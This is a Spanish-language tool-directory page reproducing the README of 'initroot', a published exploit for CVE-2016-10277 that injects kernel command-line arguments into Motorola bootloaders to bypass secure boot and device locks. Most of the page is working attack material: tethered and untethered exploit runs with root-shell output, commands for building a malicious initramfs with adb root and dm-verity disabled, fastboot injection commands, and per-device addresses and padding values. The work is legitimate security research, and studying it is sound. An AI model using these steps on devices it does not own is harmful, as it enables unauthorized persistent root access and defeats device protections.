Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
initroot — Motorola Untethered Jailbreak: Explotación de CVE-2016-10277 para eludir Secure Boot y el bloqueo de dispositivos | Kitploit
Herramientas/GitHubGitHub/alephsecurity/initroot
Seguridad AndroidEscalada de PrivilegiosMecanismos de PersistenciaAnálisis de VulnerabilidadesExplotaciónSeguridad MóvilDesarrollo de PayloadsExplotación de Binarios
GitHubalephsecurity/initroot

initroot

Motorola Untethered Jailbreak: Explotación de CVE-2016-10277 para eludir Secure Boot y el bloqueo de dispositivos

Ver Repositorio
84244hace 9 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

initroot: Inyección de argumentos de línea de comandos del kernel en el bootloader de Motorola, bypass del Secure Boot y del bloqueo de dispositivo (CVE-2016-10277)

Por Roee Hay / Aleph Research, HCL Technologies

Primera fase del exploit: Jailbreak atado (tethered)

Este exploit consigue acceso root efímero y sin restricciones en el dispositivo. Por ejemplo, en cedric (se eliminaron algunos mensajes para mayor legibilidad):

root@kitploit:~
$ cd ./tethered/cedric
$ ./initroot-tethered.sh
Welcome to initroot-cedric-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0xA2100000,1588596
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>
OKAY [  0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (34319 KB)...
OKAY [  1.098s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.101s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [  0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:shell:s0
$ adb shell
cedric:/ # 

Segunda fase del exploit: Jailbreak no atado (untethered)

Este exploit consigue acceso root persistente en el dispositivo. Por ejemplo, en athene (se eliminaron algunos mensajes para mayor legibilidad):

root@kitploit:~
$ cd ./untethered/athene
$ ./initroot-untethered.sh 
Welcome to initroot-athene-untethered
Welcome to initroot-athene-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0x92000000,2505052
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (35214 KB)...
OKAY [  1.131s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.138s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [  0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
padC-initroot: 1 file pushed. 11.1 MB/s (22937600 bytes in 1.963s)
44800+0 records in
44800+0 records out
22937600 bytes transferred in 3.017 secs (7602784 bytes/sec)
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a rdinit= root=/dev/mmcblk0p41
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.015s]
finished. total time: 0.015s
rebooting...

finished. total time: 0.815s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
athene:/ # 

Cómo crear tu propio archivo initramfs malicioso

  1. Usa el initroot-<device>.cpio.gz incluido o genera el tuyo propio:
root@kitploit:~
$ cd <initramfs folder>
$ find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../initroot-<device>.cpio.gz
OR if padding is needed:
$ dd if=/dev/zero of=../pad ibs=1 count=<PAD_SIZE>
$ cp ../pad ../initroot-<device>.cpio.gz && find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../tmp && ls -la ../tmp && cat ../tmp >> ../initroot-<device>.cpio.gz  && rm -fr ../tmp
$ cd ..
  1. Nuestras imágenes initramfs incluidas tienen adb ejecutándose como root por defecto. No pedirán autorización. Además, dm-verity está deshabilitado en las particiones correspondientes.
root@kitploit:~
fastboot oem config fsg-id "a initrd=<SCRATCH_ADDR+PAD_SIZE>,<initroot.cpio.gz size-PAD_SIZE>"`
fastboot flash foo initroot-<device>.cpio.gz`
fastboot continue
  1. Si usas nuestro initramfs, adb shell te dará ahora una shell root:
root@kitploit:~
$ adb shell
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0

Cómo crear un exploit no atado (untethered) para otros dispositivos Moto

Lee nuestra entrada de blog

Dispositivos verificados

Reportado por la comunidad

Nota

Esta vulnerabilidad puede afectar también a otros dispositivos Motorola: se necesitará un initramfs distinto. Una dirección física diferente para initrd (SCRATCH_ADDR). PADDING también puede variar.

Demostración en vídeo

Demostración en vídeo de CVE-2016-10277

Publicaciones

  1. initroot: Bypass del Secure Boot del Nexus 6 mediante inyección de la línea de comandos del kernel
  2. initroot: Hello Moto
  3. Bypass del Secure Boot por inyección de línea de comandos del kernel en el bootloader de Motorola Android
  4. initroot no atado (USENIX WOOT '17)
  5. Artículo de USENIX WOOT '17
Descargar herramienta
DispositivoCodenameSCRATCH_ADDRPADDINGinitrams incluidoPartición sin usar
Nexus 6shamu0x110000000x0AOSP userdebugmmcblk0p11
Moto G5 (XT1676)cedric0xA01000000x2000000Release, init y adbd parcheados para deshabilitar SELinux, set{u,g}id a shell, eliminación de capacidades, autenticación de adb, etc.mmcblk0p41
Moto G4 (XT1622)athene0x900000000x2000000""mmcblk0p48
DispositivoCodenameSCRATCH_ADDRReporteroDescripción
Moto G5 Pluspotter0xA0100000drbeatPropiedad de arranque inyectada. [prueba]
Moto G4 Play (XT1607)harpia0x90000000m-mullinsExplotación completa del Amazon XT1607. [prueba]
Moto G4 Play (XT1609)harpia0x90000000@utoprimeExplotación completa del Verizon XT1609. [prueba]
Moto G4 (XT1625)athene0x90000000@EWorcelInitrd inyectado que causó bucles de arranque. [prueba]
Moto G3osprey0x90000000@asiekierkaInitrd inyectado que causó bucles de arranque. [prueba]
Moto G2 (XT1072)thea0x11000000@TheElixInitrd inyectado que causó bucles de arranque. [prueba]
Moto G (XT1032)falcon_retfr0x11000000Pierre ZurekExplotación completa con 64MB de padding [prueba]
Moto E (XT830C)condor_cdma0x0E000000fetcherExplotación completa del XT830C bloqueado por Tracfone/Verizon con 32MB de padding [prueba]
Otros--@jcase[prueba]